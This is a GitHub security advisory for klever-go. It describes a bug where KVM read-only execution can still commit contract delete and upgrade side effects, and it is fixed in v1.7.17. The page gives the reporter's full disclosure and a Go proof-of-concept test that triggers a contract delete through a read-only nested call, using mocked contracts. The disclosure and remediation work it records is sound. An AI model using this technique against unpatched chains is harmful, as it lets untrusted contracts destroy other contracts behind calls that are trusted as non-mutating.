GHSA-jc6w-wmfc-fh33MediumCVSS 6.3

Klever-Go KVM read-only execution can commit contract delete and upgrade side effects

Published
May 21, 2026
Last Modified
May 21, 2026

🔗 CVE IDs covered (1)

📋 Description

## Publisher note **Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. Patch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory). This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE. The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source. --- # Private Vulnerability Report Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211 ## 2.2 KVM read-only execution can commit contract delete side effects Severity : Medium Confidence : HIGH Attack Complexity : MEDIUM PoC Status : Confirmed ### Description KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. ### Location 1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097) 2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099) 3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237) 4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246) 5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792) 6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831) 7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839) 8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849) 9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103) 10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615) 11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755) 12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765) ### Preconditions 1. A contract workflow invokes a callee through KVM read-only execution. 2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract. 3. The target contract is upgradeable/deletable according to its KVM code metadata. 4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required. ### Impact Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner. ### Exploit Cost The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above. ### Steps to Reproduce 1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory. 2. Run the dependency commands listed in the PoC header. 3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`. 4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`. 5. Observe that the child contract uses the production managed delete hook against a target contract it owns. 6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution. ### Proof-of-Concept Result Running `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output. ```text # command-line-arguments.test /usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack /usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker === RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0 poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1 poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true --- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s) PASS ok command-line-arguments 0.007s ``` ### Suggested Fix Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. ## Proof-of-Concept Source ### poc_kvm_readonly_delete_side_effect_test.go ```go package poc /* Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address Vulnerability : Read-only execution isolation bypass with contract delete side effect Severity : Medium How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy */ import ( "testing" contextmock "github.com/klever-io/klever-go/kvm/mock/context" worldmock "github.com/klever-io/klever-go/kvm/mock/world" test "github.com/klever-io/klever-go/kvm/testcommon" "github.com/klever-io/klever-go/kvm/vmhost/vmhooks" "github.com/klever-io/klever-go/vmcommon" "github.com/stretchr/testify/require" ) func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) { // Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract. targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget") // Record the initial delete side-effect state before any read-only execution occurs. deletedBefore := make([][]byte, 0) require.NotContains(t, deletedBefore, targetAddress) vmOutput, err := test.BuildMockInstanceCallTest(t). WithContracts( // The parent contract models the transaction entrypoint controlled by a user or contract workflow. test.CreateMockContract(test.ParentAddress). WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) { parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock { host := parentInstance.Host // The parent invokes the child through ExecuteReadOnly, which should not commit state effects. result := vmhooks.ExecuteReadOnlyWithTypedArguments( host, 100000, []byte("deleteTarget"), test.ChildAddress, nil, ) require.Equal(t, int32(0), result) return parentInstance }) }), // The child contract is called in read-only mode but attempts to delete a contract it owns. test.CreateMockContract(test.ChildAddress). WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) { childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock { host := childInstance.Host managedTypes := host.ManagedTypes() // Encode the target address and call the production ManagedDeleteContract hook. destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress) argsHandle := managedTypes.NewManagedBuffer() managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle) vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle) return childInstance }) }), // The target contract is upgradeable/deletable and owned by the read-only child. test.CreateMockContract(targetAddress). WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). WithOwnerAddress(test.ChildAddress). WithMethods(), ). // Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly. WithInput(test.CreateTestContractCallInputBuilder(). WithRecipientAddr(test.ParentAddress). WithGasProvided(500000). WithFunction("callReadOnlyChild"). Build()). AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {}) require.NoError(t, err) // The read-only nested call must not create delete side effects, but the vulnerable implementation does. deletedAfter := vmOutput.DeletedAccounts require.Greater(t, len(deletedAfter), len(deletedBefore)) require.Contains(t, deletedAfter, targetAddress) t.Logf("deleted_accounts_before=%d", len(deletedBefore)) t.Logf("deleted_accounts_after=%d", len(deletedAfter)) t.Logf("target_deleted=%t", true) } ```

🎯 Affected products1

  • go/github.com/klever-io/klever-go:< 1.7.17

🔗 References (4)